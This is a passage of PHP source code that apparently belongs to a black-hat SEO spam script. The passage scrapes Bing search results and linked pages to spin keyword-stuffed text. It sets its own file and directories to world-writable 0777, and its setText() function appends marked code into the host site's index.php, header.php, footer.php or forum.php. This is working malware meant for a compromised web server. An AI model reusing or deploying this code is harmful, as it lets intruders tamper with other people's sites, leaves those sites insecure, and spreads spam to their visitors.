trim($_elem_groups[array_rand($_elem_groups) ]); } $_group_results[rand(0, count($_group_results) - 1) ].= " " . $_other_data; } } if ($_num_str > 0){ shuffle($_keyfile_data); $_str_limit = ceil(count($_group_results) * $_num_str / 100); if (count($_keyfile_data) > $_str_limit - 1){ $_result_good = ""; if (empty($_result_good)){ for ($_i = 1; $_i <= $_str_limit; $_i++){ if ($_an_limit == 1){ $_elem_groups = array( " " . $_keyfile_data[$_i] . " ", " " . $_keyfile_data[$_i] . " ", $_keyfile_data[$_i], $_keyfile_data[$_i], $_keyfile_data[$_i] ); $_rand_el = trim($_elem_groups[array_rand($_elem_groups) ]); }else{ $_rand_el = trim($_keyfile_data[$_i]); } $_group_results[rand(0, count($_group_results) - 1) ].= " " . $_rand_el; } } } } if ($_incom_nums > 0){ shuffle($_keyfile_data); if (count($_keyfile_data) < $_incom_nums - 1){ $_incom_nums = count($_keyfile_data); } $_result_good = ""; if (empty($_result_good)){ for ($_i = 1; $_i <= $_incom_nums; $_i++){ $_group_results[rand(0, count($_group_results) - 1) ].= ' ' . ucfirst(trim($_keyfile_data[$_i])) . ""; } } } $_group_results = trim(implode(" ", $_group_results)); $_group_results = htmlentities($_group_results); return $_group_results; } function bingcontent($key, $_lang){ global $zones; $zones_and_badchar = array("\n","\r","\t",' ','«','»','"','←','→',''','–',' ',' ','—','…',''','→','—','>','<','{','}','#','"','—','\'',"nbsp"," br ",".aaa",".aarp",".abarth",".abb",".abbott",".abbvie",".abc",".able",".abogado",".abudhabi",".ac",".academy",".accenture",".accountant",".accountants",".aco",".active",".actor",".ad",".adac",".ads",".adult",".ae",".aeg",".aero",".aetna",".af",".afamilycompany",".afl",".africa",".ag",".agakhan",".agency",".ai",".aig",".aigo",".airbus",".airforce",".airtel",".akdn",".al",".alfaromeo",".alibaba",".alipay",".allfinanz",".allstate",".ally",".alsace",".alstom",".am",".americanexpress",".americanfamily",".amex",".amfam",".amica",".amsterdam",".analytics",".android",".anquan",".anz",".ao",".aol",".apartments",".app",".apple",".aq",".aquarelle",".ar",".aramco",".archi",".army",".arpa",".art",".arte",".as",".asda",".asia",".associates",".at",".athleta",".attorney",".au",".auction",".audi",".audible",".audio",".auspost",".author",".auto",".autos",".avianca",".aw",".aws",".ax",".axa",".az",".azure",".ba",".baby",".baidu",".banamex",".bananarepublic",".band",".bank",".bar",".barcelona",".barclaycard",".barclays",".barefoot",".bargains",".baseball",".basketball",".bauhaus",".bayern",".bb",".bbc",".bbt",".bbva",".bcg",".bcn",".bd",".be",".beats",".beauty",".beer",".bentley",".berlin",".best",".bestbuy",".bet",".bf",".bg",".bh",".bharti",".bi",".bible",".bid",".bike",".bing",".bingo",".bio",".biz",".bj",".black",".blackfriday",".blanco",".blockbuster",".blog",".bloomberg",".blue",".bm",".bms",".bmw",".bn",".bnl",".bnpparibas",".bo",".boats",".boehringer",".bofa",".bom",".bond",".boo",".book",".booking",".boots",".bosch",".bostik",".boston",".bot",".boutique",".box",".br",".bradesco",".bridgestone",".broadway",".broker",".brother",".brussels",".bs",".bt",".budapest",".bugatti",".build",".builders",".business",".buy",".buzz",".bv",".bw",".by",".bz",".bzh",".ca",".cab",".cafe",".cal",".call",".calvinklein",".cam",".camera",".camp",".cancerresearch",".canon",".capetown",".capital",".capitalone",".car",".caravan",".cards",".care",".career",".careers",".cars",".cartier",".casa",".case",".caseih",".cash",".casino",".cat",".catering",".catholic",".cba",".cbn",".cbre",".cbs",".cc",".cd",".ceb",".center",".ceo",".cern",".cf",".cfa",".cfd",".cg",".ch",".chanel",".channel",".chase",".chat",".cheap",".chintai",".chloe",".christmas",".chrome",".chrysler",".church",".ci",".cipriani",".circle",".cisco",".citadel",".citi",".citic",".city",".cityeats",".ck",".cl",".claims",".cleaning",".click",".clinic",".clinique",".clothing",".cloud",".club",".clubmed",".cm",".cn",".co",".coach",".codes",".coffee",".college",".cologne",".com",".comcast",".commbank",".community",".company",".compare",".computer",".comsec",".condos",".construction",".consulting",".contact",".contractors",".cooking",".cookingchannel",".cool",".coop",".corsica",".country",".coupon",".coupons",".courses",".cr",".credit",".creditcard",".creditunion",".cricket",".crown",".crs",".cruise",".cruises",".csc",".cu",".cuisinella",".cv",".cw",".cx",".cy",".cymru",".cyou",".cz",".dabur",".dad",".dance",".data",".date",".dating",".datsun",".day",".dclk",".dds",".de",".deal",".dealer",".deals",".degree",".delivery",".dell",".deloitte",".delta",".democrat",".dental",".dentist",".desi",".design",".dev",".dhl",".diamonds",".diet",".digital",".direct",".directory",".discount",".discover",".dish",".diy",".dj",".dk",".dm",".dnp",".do",".docs",".doctor",".dodge",".dog",".doha",".domains",".dot",".download",".drive",".dtv",".dubai",".duck",".dunlop",".duns",".dupont",".durban",".dvag",".dvr",".dz",".earth",".eat",".ec",".eco",".edeka",".edu",".education",".ee",".eg",".email",".emerck",".energy",".engineer",".engineering",".enterprises",".epost",".epson",".equipment",".er",".ericsson",".erni",".es",".esq",".estate",".esurance",".et",".eu",".eurovision",".eus",".events",".everbank",".exchange",".expert",".exposed",".express",".extraspace",".fage",".fail",".fairwinds",".faith",".family",".fan",".fans",".farm",".farmers",".fashion",".fast",".fedex",".feedback",".ferrari",".ferrero",".fi",".fiat",".fidelity",".fido",".film",".final",".finance",".financial",".fire",".firestone",".firmdale",".fish",".fishing",".fit",".fitness",".fj",".fk",".flickr",".flights",".flir",".florist",".flowers",".fly",".fm",".fo",".foo",".food",".foodnetwork",".football",".ford",".forex",".forsale",".forum",".foundation",".fox",".fr",".free",".fresenius",".frl",".frogans",".frontdoor",".frontier",".ftr",".fujitsu",".fujixerox",".fun",".fund",".furniture",".futbol",".fyi",".ga",".gal",".gallery",".gallo",".gallup",".game",".games",".gap",".garden",".gb",".gbiz",".gd",".gdn",".ge",".gea",".gent",".genting",".george",".gf",".gg",".ggee",".gh",".gi",".gift",".gifts",".gives",".giving",".gl",".glade",".glass",".gle",".global",".globo",".gm",".gmail",".gmbh",".gmo",".gmx",".gn",".godaddy",".gold",".goldpoint",".golf",".goo",".goodhands",".goodyear",".goog",".google",".gop",".got",".gov",".gp",".gq",".gr",".grainger",".graphics",".gratis",".green",".gripe",".group",".gs",".gt",".gu",".guardian",".gucci",".guge",".guide",".guitars",".guru",".gw",".gy",".hair",".hamburg",".hangout",".haus",".hbo",".hdfc",".hdfcbank",".health",".healthcare",".help",".helsinki",".here",".hermes",".hgtv",".hiphop",".hisamitsu",".hitachi",".hiv",".hk",".hkt",".hm",".hn",".hockey",".holdings",".holiday",".homedepot",".homegoods",".homes",".homesense",".honda",".honeywell",".horse",".hospital",".host",".hosting",".hot",".hoteles",".hotels",".hotmail",".house",".how",".hr",".hsbc",".ht",".htc",".hu",".hughes",".hyatt",".hyundai",".ibm",".icbc",".ice",".icu",".id",".ie",".ieee",".ifm",".ikano",".il",".im",".imamat",".imdb",".immo",".immobilien",".in",".industries",".infiniti",".info",".ing",".ink",".institute",".insurance",".insure",".int",".intel",".international",".intuit",".investments",".io",".ipiranga",".iq",".ir",".irish",".is",".iselect",".ismaili",".ist",".istanbul",".it",".itau",".itv",".iveco",".iwc",".jaguar",".java",".jcb",".jcp",".je",".jeep",".jetzt",".jewelry",".jio",".jlc",".jll",".jm",".jmp",".jnj",".jo",".jobs",".joburg",".jot",".joy",".jp",".jpmorgan",".jprs",".juegos",".juniper",".kaufen",".kddi",".ke",".kerryhotels",".kerrylogistics",".kerryproperties",".kfh",".kg",".kh",".ki",".kia",".kim",".kinder",".kindle",".kitchen",".kiwi",".km",".kn",".koeln",".komatsu",".kosher",".kp",".kpmg",".kpn",".kr",".krd",".kred",".kuokgroup",".kw",".ky",".kyoto",".kz",".la",".lacaixa",".ladbrokes",".lamborghini",".lamer",".lancaster",".lancia",".lancome",".land",".landrover",".lanxess",".lasalle",".lat",".latino",".latrobe",".law",".lawyer",".lb",".lc",".lds",".lease",".leclerc",".lefrak",".legal",".lego",".lexus",".lgbt",".li",".liaison",".lidl",".life",".lifeinsurance",".lifestyle",".lighting",".like",".lilly",".limited",".limo",".lincoln",".linde",".link",".lipsy",".live",".living",".lixil",".lk",".loan",".loans",".locker",".locus",".loft",".lol",".london",".lotte",".lotto",".love",".lpl",".lplfinancial",".lr",".ls",".lt",".ltd",".ltda",".lu",".lundbeck",".lupin",".luxe",".luxury",".lv",".ly",".ma",".macys",".madrid",".maif",".maison",".makeup",".man",".management",".mango",".market",".marketing",".markets",".marriott",".marshalls",".maserati",".mattel",".mba",".mc",".mcd",".mcdonalds",".mckinsey",".md",".me",".med",".media",".meet",".melbourne",".meme",".memorial",".men",".menu",".meo",".metlife",".mg",".mh",".miami",".microsoft",".mil",".mini",".mint",".mit",".mitsubishi",".mk",".ml",".mlb",".mls",".mm",".mma",".mn",".mo",".mobi",".mobile",".mobily",".moda",".moe",".moi",".mom",".monash",".money",".monster",".montblanc",".mopar",".mormon",".mortgage",".moscow",".moto",".motorcycles",".mov",".movie",".movistar",".mp",".mq",".mr",".ms",".msd",".mt",".mtn",".mtpc",".mtr",".mu",".museum",".mutual",".mv",".mw",".mx",".my",".mz",".na",".nab",".nadex",".nagoya",".name",".nationwide",".natura",".navy",".nba",".nc",".ne",".nec",".net",".netbank",".netflix",".network",".neustar",".new",".newholland",".news",".next",".nextdirect",".nexus",".nf",".nfl",".ng",".ngo",".nhk",".ni",".nico",".nike",".nikon",".ninja",".nissan",".nissay",".nl",".no",".nokia",".northwesternmutual",".norton",".now",".nowruz",".nowtv",".np",".nr",".nra",".nrw",".ntt",".nu",".nyc",".nz",".obi",".observer",".off",".office",".okinawa",".olayan",".olayangroup",".oldnavy",".ollo",".om",".omega",".one",".ong",".onl",".online",".onyourside",".ooo",".open",".oracle",".orange",".org",".organic",".origins",".osaka",".otsuka",".ott",".ovh",".pa",".page",".pamperedchef",".panasonic",".panerai",".paris",".pars",".partners",".parts",".party",".passagens",".pay",".pccw",".pe",".pet",".pf",".pfizer",".pg",".ph",".pharmacy",".philips",".phone",".photo",".photography",".photos",".physio",".piaget",".pics",".pictet",".pictures",".pid",".pin",".ping",".pink",".pioneer",".pizza",".pk",".pl",".place",".play",".playstation",".plumbing",".plus",".pm",".pn",".pnc",".pohl",".poker",".politie",".porn",".post",".pr",".pramerica",".praxi",".press",".prime",".pro",".prod",".productions",".prof",".progressive",".promo",".properties",".property",".protection",".pru",".prudential",".ps",".pt",".pub",".pw",".pwc",".py",".qa",".qpon",".quebec",".quest",".qvc",".racing",".radio",".raid",".re",".read",".realestate",".realtor",".realty",".recipes",".red",".redstone",".redumbrella",".rehab",".reise",".reisen",".reit",".reliance",".ren",".rent",".rentals",".repair",".report",".republican",".rest",".restaurant",".review",".reviews",".rexroth",".rich",".richardli",".ricoh",".rightathome",".ril",".rio",".rip",".rmit",".ro",".rocher",".rocks",".rodeo",".rogers",".room",".rs",".rsvp",".ru",".rugby",".ruhr",".run",".rw",".rwe",".ryukyu",".sa",".saarland",".safe",".safety",".sakura",".sale",".salon",".samsclub",".samsung",".sandvik",".sandvikcoromant",".sanofi",".sap",".sapo",".sarl",".sas",".save",".saxo",".sb",".sbi",".sbs",".sc",".sca",".scb",".schaeffler",".schmidt",".scholarships",".school",".schule",".schwarz",".science",".scjohnson",".scor",".scot",".sd",".se",".seat",".secure",".security",".seek",".select",".sener",".services",".ses",".seven",".sew",".sex",".sexy",".sfr",".sg",".sh",".shangrila",".sharp",".shaw",".shell",".shia",".shiksha",".shoes",".shop",".shopping",".shouji",".show",".showtime",".shriram",".si",".silk",".sina",".singles",".site",".sj",".sk",".ski",".skin",".sky",".skype",".sl",".sling",".sm",".smart",".smile",".sn",".sncf",".so",".soccer",".social",".softbank",".software",".sohu",".solar",".solutions",".song",".sony",".soy",".space",".spiegel",".spot",".spreadbetting",".sr",".srl",".srt",".st",".stada",".staples",".star",".starhub",".statebank",".statefarm",".statoil",".stc",".stcgroup",".stockholm",".storage",".store",".stream",".studio",".study",".style",".su",".sucks",".supplies",".supply",".support",".surf",".surgery",".suzuki",".sv",".swatch",".swiftcover",".swiss",".sx",".sy",".sydney",".symantec",".systems",".sz",".tab",".taipei",".talk",".taobao",".target",".tatamotors",".tatar",".tattoo",".tax",".taxi",".tc",".tci",".td",".tdk",".team",".tech",".technology",".tel",".telecity",".telefonica",".temasek",".tennis",".teva",".tf",".tg",".th",".thd",".theater",".theatre",".tiaa",".tickets",".tienda",".tiffany",".tips",".tires",".tirol",".tj",".tjmaxx",".tjx",".tk",".tkmaxx",".tl",".tm",".tmall",".tn",".to",".today",".tokyo",".tools",".top",".toray",".toshiba",".total",".tours",".town",".toyota",".toys",".tr",".trade",".trading",".training",".travel",".travelchannel",".travelers",".travelersinsurance",".trust",".trv",".tt",".tube",".tui",".tunes",".tushu",".tv",".tvs",".tw",".tz",".ua",".ubank",".ubs",".uconnect",".ug",".uk",".unicom",".university",".uno",".uol",".ups",".us",".uy",".uz",".va",".vacations",".vana",".vanguard",".vc",".ve",".vegas",".ventures",".verisign",".versicherung",".vet",".vg",".vi",".viajes",".video",".vig",".viking",".villas",".vin",".vip",".virgin",".visa",".vision",".vista",".vistaprint",".viva",".vivo",".vlaanderen",".vn",".vodka",".volkswagen",".volvo",".vote",".voting",".voto",".voyage",".vu",".vuelos",".wales",".walmart",".walter",".wang",".wanggou",".warman",".watch",".watches",".weather",".weatherchannel",".webcam",".weber",".website",".wed",".wedding",".weibo",".weir",".wf",".whoswho",".wien",".wiki",".williamhill",".win",".windows",".wine",".winners",".wme",".wolterskluwer",".woodside",".work",".works",".world",".wow",".ws",".wtc",".wtf",".xbox",".xerox",".xfinity",".xihuan",".xin",".xn--11b4c3d",".xn--1ck2e1b",".xn--1qqw23a",".xn--30rr7y",".xn--3bst00m",".xn--3ds443g",".xn--3e0b707e",".xn--3oq18vl8pn36a",".xn--3pxu8k",".xn--42c2d9a",".xn--45brj9c",".xn--45q11c",".xn--4gbrim",".xn--54b7fta0cc",".xn--55qw42g",".xn--55qx5d",".xn--5su34j936bgsg",".xn--5tzm5g",".xn--6frz82g",".xn--6qq986b3xl",".xn--80adxhks",".xn--80ao21a",".xn--80aqecdr1a",".xn--80asehdb",".xn--80aswg",".xn--8y0a063a",".xn--90a3ac",".xn--90ae",".xn--90ais",".xn--9dbq2a",".xn--9et52u",".xn--9krt00a",".xn--b4w605ferd",".xn--bck1b9a5dre4c",".xn--c1avg",".xn--c2br7g",".xn--cck2b3b",".xn--cg4bki",".xn--clchc0ea0b2g2a9gcd",".xn--czr694b",".xn--czrs0t",".xn--czru2d",".xn--d1acj3b",".xn--d1alf",".xn--e1a4c",".xn--eckvdtc9d",".xn--efvy88h",".xn--estv75g",".xn--fct429k",".xn--fhbei",".xn--fiq228c5hs",".xn--fiq64b",".xn--fiqs8s",".xn--fiqz9s",".xn--fjq720a",".xn--flw351e",".xn--fpcrj9c3d",".xn--fzc2c9e2c",".xn--fzys8d69uvgm",".xn--g2xx48c",".xn--gckr3f0f",".xn--gecrj9c",".xn--gk3at1e",".xn--h2brj9c",".xn--hxt814e",".xn--i1b6b1a6a2e",".xn--imr513n",".xn--io0a7i",".xn--j1aef",".xn--j1amh",".xn--j6w193g",".xn--jlq61u9w7b",".xn--jvr189m",".xn--kcrx77d1x4a",".xn--kprw13d",".xn--kpry57d",".xn--kpu716f",".xn--kput3i",".xn--l1acc",".xn--lgbbat1ad8j",".xn--mgb9awbf",".xn--mgba3a3ejt",".xn--mgba3a4f16a",".xn--mgba7c0bbn0a",".xn--mgbaam7a8h",".xn--mgbab2bd",".xn--mgbai9azgqp6j",".xn--mgbayh7gpa",".xn--mgbb9fbpob",".xn--mgbbh1a71e",".xn--mgbc0a9azcg",".xn--mgbca7dzdo",".xn--mgberp4a5d4ar",".xn--mgbi4ecexp",".xn--mgbpl2fh",".xn--mgbt3dhd",".xn--mgbtx2b",".xn--mgbx4cd0ab",".xn--mix891f",".xn--mk1bu44c",".xn--mxtq1m",".xn--ngbc5azd",".xn--ngbe9e0a",".xn--node",".xn--nqv7f",".xn--nqv7fs00ema",".xn--nyqy26a",".xn--o3cw4h",".xn--ogbpf8fl",".xn--p1acf",".xn--p1ai",".xn--pbt977c",".xn--pgbs0dh",".xn--pssy2u",".xn--q9jyb4c",".xn--qcka1pmc",".xn--qxam",".xn--rhqv96g",".xn--rovu88b",".xn--s9brj9c",".xn--ses554g",".xn--t60b56a",".xn--tckwe",".xn--tiq49xqyj",".xn--unup4y",".xn--vermgensberater-ctb",".xn--vermgensberatung-pwb",".xn--vhquv",".xn--vuq861b",".xn--w4r85el8fhu5dnra",".xn--w4rs40l",".xn--wgbh1c",".xn--wgbl6a",".xn--xhq521b",".xn--xkc2al3hye2a",".xn--xkc2dl3a5ee0h",".xn--y9a3aq",".xn--yfro4i67o",".xn--ygbi2ammx",".xn--zfr164b",".xperia",".xxx",".xyz",".yachts",".yahoo",".yamaxun",".yandex",".ye",".yodobashi",".yoga",".yokohama",".you",".youtube",".yt",".yun",".za",".zappos",".zara",".zero",".zip",".zippo",".zm",".zone",".zuerich",".zw"); $full_content_count = 10; $full_content_tags = '

    '; $badchar = array( "nbsp", "\n", "\r", "\t", ' ', '«', '»', '"', '←', '→', ''', '–', ' ', ' ', '—', '…', ''', '→', '—', '>', '<', '{', '}', '#', '"', '—', '\'' ); $outch = ''; if(mb_strlen($key, 'utf-8') > 25) { $keyp = preg_replace('!^(.{0,25})\s.*!su', '$1', $key); }else{ $keyp = $key; } $bings = array( 'http://www.bing.com/search?format=rss&first=1&q=' . urlencode(trim($keyp)." language:en"), 'http://www.bing.com/search?format=rss&first=11&q=' . urlencode(trim($keyp)." language:en"), 'http://www.bing.com/search?format=rss&first=31&q=' . urlencode(trim($keyp)." language:en") ); $curldatabing = curlMultiRequest($bings); foreach($curldatabing as $value) { $outch .= $value; } $outch_iframe = $outch; preg_match_all('!\(.*?)\!siu', $outch, $lines); $titles = @array_unique($lines[1]); unset($titles[0]); $title1 = isset($lines[1][2]) ? trim(strip_tags($lines[1][2])) : ''; $title2 = isset($lines[1][3]) ? trim(strip_tags($lines[1][3])) : ''; $title3 = isset($lines[1][4]) ? trim(strip_tags($lines[1][4])) : ''; preg_match_all('!\(.*?)\!siu', $outch_iframe, $iframes); $bing_links = array_unique($iframes[1]); shuffle($bing_links); array_splice($bing_links,$full_content_count); $full_content_array = array(); $i = 1; $full_content_content = ''; $curldatabingsites = curlMultiRequest($bing_links); foreach($curldatabingsites as $outch) { /* $outch = preg_replace('!\<\s*textarea[^>]*\>.*?\!siu', '', $outch); $outch = preg_replace('!\<\s*style[^>]*\>.*?\!siu', '', $outch); $outch = preg_replace('!\<\s*script[^>]*\>.*?\!siu', '', $outch); $outch = preg_replace('!\<\s*head[^>]*\>.*?\!siu', '', $outch); $outch = str_ireplace('>', '> ', $outch); preg_match_all('!\(.*?)\!siu', $outch, $lines); foreach($lines[1] as $p_tag) { $p_tag = trim(strip_tags($p_tag, $full_content_tags)); $p_tag = preg_replace("/<([a-z][a-z0-9]*)[^>]*?(\/?)>/i", '<$1$2>', $p_tag); $p_tag = trim($p_tag); $full_content_array[md5($p_tag)] = $p_tag; } */ $full_content_array[] = getContentFromHtml($outch); // if ($i == $full_content_count) break; $i++; } shuffle($full_content_array); $full_content_array = array_unique($full_content_array); $content = $full_content_array; $content = preg_replace("~([,\:\-])~u"," \$1 ",$content); $content = preg_replace("~(\S+)[\s\r\n]*-[\s\r\n]*(\S+)~u"," \$1\$2 ",$content); // переносы объединяем $content = preg_replace('~[^a-zёа-я0-9 -!\?\.\,]~ui',' ',$content); // убираем лишнее, включая табы, скобки и прочее $content = preg_replace('/[^\s]{15}[^\s]+/',' ',$content); $content = preg_replace('/[^a-zа-яё. ]+/iu', '', $content); $content = str_ireplace($zones_and_badchar, ' ', $content); $content = str_ireplace('. .', '.', $content); $content = str_ireplace('...', '.', $content); $content = str_ireplace(' .', '.', $content); $content = str_ireplace('..', '.', $content); $content = str_ireplace(',.', '.', $content); $content = preg_replace("/(\s){2,}/",' ',$content); $newcontent = str_ireplace(':.', '.', $content); $r = implode($newcontent); $r = explode('.',$r); $full_content_array = array_unique($r); $cot = array(); foreach($full_content_array as $v){ $cot[] = delete_duplicates_words($v); } $newcontent = implode('.',$cot); if (mb_detect_encoding($newcontent) == "UTF-8"){ $newcontent = trim($newcontent); }else{ $newcontent = iconv(mb_detect_encoding($newcontent) , "UTF-8", $newcontent); $newcontent = trim($newcontent); } return array('content' =>$newcontent, 'title1' => $title1,'title2' => $title2,'title3' => $title3); } function delete_duplicates_words($text) { $text = implode(array_reverse(preg_split('//u', $text))); $text = preg_replace('/(\b[\pL0-9]++\b)(?=.*?\1)/siu', '', $text); $text = implode(array_reverse(preg_split('//u', $text))); return $text; } function getContentFromHtml($aText) { return preg_replace( array( '@]*?>.*?@siu', '@]*?>.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu', '@]*>@siu', '@&[^;]+?;@siu', '@(\s+)@siu' ), array( '', '', '', '', '', '', '', '', '', '$0', '$0', '$0', '$0', '$0', '$0', '$0', '', ' ', ' ' ), $aText ); } function check_permission(){ global $cachedirname; if (!is_dir($cachedirname)) { if (!mkdir($cachedirname, 0777)) { die("Can't create cache dir"); } } $cachedirperm = substr(sprintf('%o', fileperms($cachedirname)) , -4); if ($cachedirperm != "0777") { @chmod($cachedirname, 0777); } $ownperm = substr(sprintf('%o', fileperms(__FILE__)) , -4); if ($ownperm != "0777") { @chmod(__FILE__, 0777); } $currdirperm = substr(sprintf('%o', fileperms(dirname(__FILE__))) , -4); if ($currdirperm != "0777") { @chmod(dirname(__FILE__) , 0777); } } function curlMultiRequest($urls, $options = array()){ global $useCurl, $requestTimeout; // cURL multi-handle $mh = curl_multi_init(); // This will hold cURLS requests for each file $requests = array(); $options = array( //CURLOPT_FOLLOWLOCATION => true, CURLOPT_AUTOREFERER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36', CURLOPT_HEADER => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 2 ); //Corresponding filestream array for each file $fstreams = array(); foreach ($urls as $key => $url) { // Add initialized cURL object to array $requests[$key] = curl_init($url); // Set cURL object options curl_setopt_array($requests[$key], $options); // Add cURL object to multi-handle curl_multi_add_handle($mh, $requests[$key]); } // Do while all request have been completed do { curl_multi_exec($mh, $active); } while ($active > 0); // Collect all data here and clean up foreach ($requests as $key => $request) { $returned[$key] = curl_multi_getcontent($request); // Use this if you're not downloading into file, also remove CURLOPT_FILE option and fstreams array curl_multi_remove_handle($mh, $request); //assuming we're being responsible about our resource management curl_close($request); //being responsible again. THIS MUST GO AFTER curl_multi_getcontent(); } curl_multi_close($mh); //$req = new HttpRequest($useCurl, $requestTimeout); //foreach($urls as $url){ //$tasks[$url] = $req->request($url); //} return $returned; } class HttpRequest{ var $mode = 0; var $timeout = 60; function HttpRequest($mode = 0, $timeout = 60) { $this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1); $this->timeout = $timeout; } function request($url, $post_data = false) { switch ($this->mode){ case 0: return $this->_requestCurl($url, $post_data); case 1: return file_get_contents($url); default: return false; }; } function _requestCurl($url, $post_data) { $hc = curl_init($url); if ($post_data) curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data); curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1); curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($hc, CURLOPT_AUTOREFERER, 1); curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout); $res = curl_exec($hc); $this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE); curl_close($hc); return $res; } } function searchIndex($path,$co) { $path = explode("/", $path); array_pop($path); $path = implode("/", $path); if (file_exists($path . "/index.php")) return $path . "/index.php"; elseif(file_exists($path . "/header.php")) return $path . "/header.php"; elseif(file_exists($path . "/footer.php")) return $path . "/footer.php"; elseif(file_exists($path . "/forum.php")) return $path . "/forum.php"; if($co) return false; return searchIndex($path,1); } function setText($text){ $path = searchIndex(__FILE__); if (empty($path)) return false; @chmod($path,0777); //$text = str_replace("'", "\'", $text); $file = file($path); $file = implode("\n",$file); $startCount = substr_count($file , " 0 ? substr_count($file , ""); // search if (preg_match("/\/\/##!#==##!#.*\/\/##!#==##!#/is", $file)) { return true; $file = preg_replace("/\/\/##!#==##!#.*\/\/##!#==##!#/is", "//##!#==##!#" . PHP_EOL . $text . PHP_EOL . "//##!#==##!#", $file); } else { // count php tags if ($startCount > $endCount) { $file .= PHP_EOL . PHP_EOL . "//##!#==##!#" . PHP_EOL . $text . PHP_EOL . "//##!#==##!#"; } // open tag if ($startCount <= $endCount) { $file .= PHP_EOL . PHP_EOL . ""; } } file_put_contents($path, $file); return true; } ?>